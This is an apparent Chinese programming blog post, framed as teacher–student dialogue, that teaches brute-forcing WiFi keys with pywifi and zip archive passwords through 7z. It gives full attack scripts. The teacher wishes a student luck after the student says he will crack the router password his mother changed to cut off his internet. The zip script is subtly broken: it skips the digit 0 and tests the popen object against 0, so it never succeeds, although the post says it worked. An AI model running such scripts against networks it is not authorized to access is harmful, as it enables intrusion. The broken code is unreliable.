趣味课堂之使用Python破译密码

  • python破解WiFi密码

刚下课,就有一群学生跑来问我。老师,我们刚刚学习了加密与解密。你能破译WiFi密码吗?面对突如其来的问题,我没有回答,而是默默坐到了机房的最角落里,打开了python开发工具。

师:还记得我们上周学的枚举算法吗?

生:记得。

师:WiFi破译因为python语言的发展已经变得特别简单。只需要导入两个模块,利用枚举算法写一个判断,依次验证即可完成Wifi暴力破译。剩下的就像老师等待你们成长一样,交给时间。

师:你们先安装pywifi和comtypes 两个模块。

生:老师等一下,我们打开cmd。输入:

       pip install pywifi

pip install comtypes(如图1)

图1

师:很好,你们已经完成了很重要的一步。用前人做的WiFi破译的轮子。我们用它这个轮子接着往前滚动。

师:假设WiFi密码为8位纯数字密码的话,我们怎么尝试?

生:写了range(100000000)依次生成每个数。

师:很好,可是从开始生成的数都是一位的,只有从10000000这个数字开始才是8位数。

生:老师,那怎么办?

师:简单。str(i).zfill(8)可以默认填充8位字符。不足的可以前面补0。我们把数字转换成str类型,这样第一个字符就是00000000了。

生:懂了,原来python如此简洁,强大。

师:我们先生成8位密码。

生:在python编译器里敲出(如图2):

for i in range(100000000):

    #生成8位数密码

    pwd=str(i).zfill(8)

    print(pwd)

图2

师:接下来用枚举算法,使用pywifi模块,将wifi名称、密码配置进去,进行尝试。在键盘上一顿操作。

import time

import pywifi

from pywifi import const

for i in range(100000000):

    #生成8位数密码

    pwd=str(i).zfill(8)

    print(pwd)

    profile = pywifi.Profile()

    profile.ssid ='WiFi名称' #WiFi名称

    profile.auth = const.AUTH_ALG_OPEN #验证方式

    profile.akm.append(const.AKM_TYPE_WPA2PSK) #加密方式

    profile.cipher = const.CIPHER_TYPE_CCMP    #加密类型

    profile.key=pwd

    wifi = pywifi.PyWiFi()

    iface = wifi.interfaces()[0]

    wedding = iface.add_network_profile(profile)

    #尝试连接

    iface.connect(wedding)

    time.sleep(3)

    if iface.status() == const.IFACE_CONNECTED:

        print('连接成功')

        break

    else:

        print('连接失败')

生:老师你敲代码太快了,等等我们。

师:距离上课还有5分钟,速度啊。

生:疯狂地敲键盘中……等下,老师,这个sleep(3)是干嘛的?

师:为了防止路由器死机啊。就好比你一停不停的敲门。谁都会认为你是不速之客的。我们要礼貌,每隔3秒钟敲一次吧。

师:老师用鸿蒙系统给你们开个手机热点。名字叫:yanglin。你们破译一下。

生:老师我可以!老师我成功了!经过一段时间的尝试,大家纷纷传来了破译喜讯。

学生仔细一看破译的密码,对破译结果目瞪口呆。

生:老师,这也太简单了吧12345679?谁会用这个密码?

师:不记得上节课12345678都有人用?哈哈,这不是节省时间嘛,你们上节课也学了,越简单的密码破译时间越短!当然了。复杂的也是这个破译流程。

生:好。老师我改造了一下for循环(如图3),破译速度嗖嗖的。

图3

生:老师,我家的路由器刚好也是8位数字,我妈改了密码不让我上网,我中午回家写程序试试,看看能不能破译出来登陆路由器改个新密码,一脸坏笑的说着。

师:祝你好运。小心上演妈妈再打我一次。

铃声:上课时间快要到了,请做好准备。

几个学生纷纷站起身,边缓缓站立边紧紧盯着电脑屏幕,努力记忆住每个程序语句,那一刻时间仿佛静止。但我分明看到了每个学生脸上洋溢着成功的自信。

  • python破解压缩包密码

又是一个10点的晚上,学生们在信息网络群里也活跃起来。纷纷发表着最近了解的最新信息技术的沿科技知识。突然。有个学生在群里发出了一条信息。

含泪求助:我电脑有一个压缩包加密了,6位密码被我忘掉了。谁能帮我试出来?

眼看群文件下载的人数越来越多。10分钟了还没有结果。我默默的在群里发出信息。

师:让我来吧。

生:哇。老师终于不潜水了。大家纷纷留言,怎么破解?求教。

师:简单。打开python编译工具。

师:还记得枚举算法吧?让计算机一个一个尝试总比人一个一个试要快吧!

生:果然,万能的python。

师:如果想要python命令行来打开zip压缩包,那么首先要找到尝试打开的命令行,即解压缩时使用的命令行。我们使用python脚本写嵌套循环,不断的对zip文件进行尝试解压,然后找回真实的密码。

生:怎么写命令行?

师:简单。大家可以参考一下:

7z -p 123456 t 压缩包名称.zip

#  t:尝试打开,类似后台运行

# -p:尝试的密码

师:刚刚这位同学压缩包是几位密码?

生:6位。

师:太好了,这帮我们节省了好大一段时间,只要对6位纯数字进行尝试就可以了。

师:大家想怎么实现?

生:for i in range(1,10),再把数字变成转为字符型,再连接起来不就好了?

生:对哈,我们写1个循环,复制粘贴5次。就会有6个for循环。

生:这样的话每个数字怎么连接起来变成6位啊?

生:用加号。老师之前给我们说字符之间可以用加号进行连接。

师:非常好,看看谁先写出生成数字的python语句。

大家都纷纷沉默了。慢慢的我觉得是时候给大家说点苦口婆心的话激励一下多写程序,不要纸上谈兵(万字腹稿准备中……)。正当我马上就要按下键盘的时候。千钧一发之际,群消息开始闪烁。各种同学的程序截图开始刷屏。

师:大家太厉害了。为你们喝彩。撒花。

生:老师,我写的这个程序怎么不行?

师:缩进。缩进。缩进。重要的事情说3遍!python是靠缩进来证明谁是谁的一部分的。

生:好嘞。老师我成功了!(如图1)

图1

师:很好。主要的程序大家都成功了。后面就很容易了。结合刚刚写的解压命令。只要改造一下程序就行了。改造如下:

# -*- coding:utf-8 -*- 

import os

import subprocess

import zipfile

def jieya():

    for a in range(1,10):

        for b in range(1,10):

            for c in range(1,10):

                for d in range(1,10):

                    for e in range(1,10):

                        for f in range(1,10):

                            passwd=str(a)+str(b)+str(c)+str(d)+str(e)+str(f)

                            command='7z -p'+passwd+' t D:\文档.zip' 

#t 表示test,不进行实际解压,只测试密码

                            print(passwd)

                           

                            child=os.popen(command)#对文件执行cmd命令

                            print(child)

                            if child==0:

                                print("相册密码为:"+passwd)

                                return

if __name__ == '__main__':

    jieya()

生:如此简单?表示难以置信,竟然1分钟就把代码写出来了!python确实厉害。

师:我拍拍了忘记密码的同学,问:学会了吗?

生:老师,我解压成功了!

师:你真棒……

  • 1
    点赞
  • 14
    收藏
    觉得还不错? 一键收藏
  • 打赏
    打赏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包

打赏作者

babyai997

你的鼓励将是我创作的最大动力

¥1 ¥2 ¥4 ¥6 ¥10 ¥20
扫码支付:¥1
获取中
扫码支付

您的余额不足,请更换扫码支付或充值

打赏作者

实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值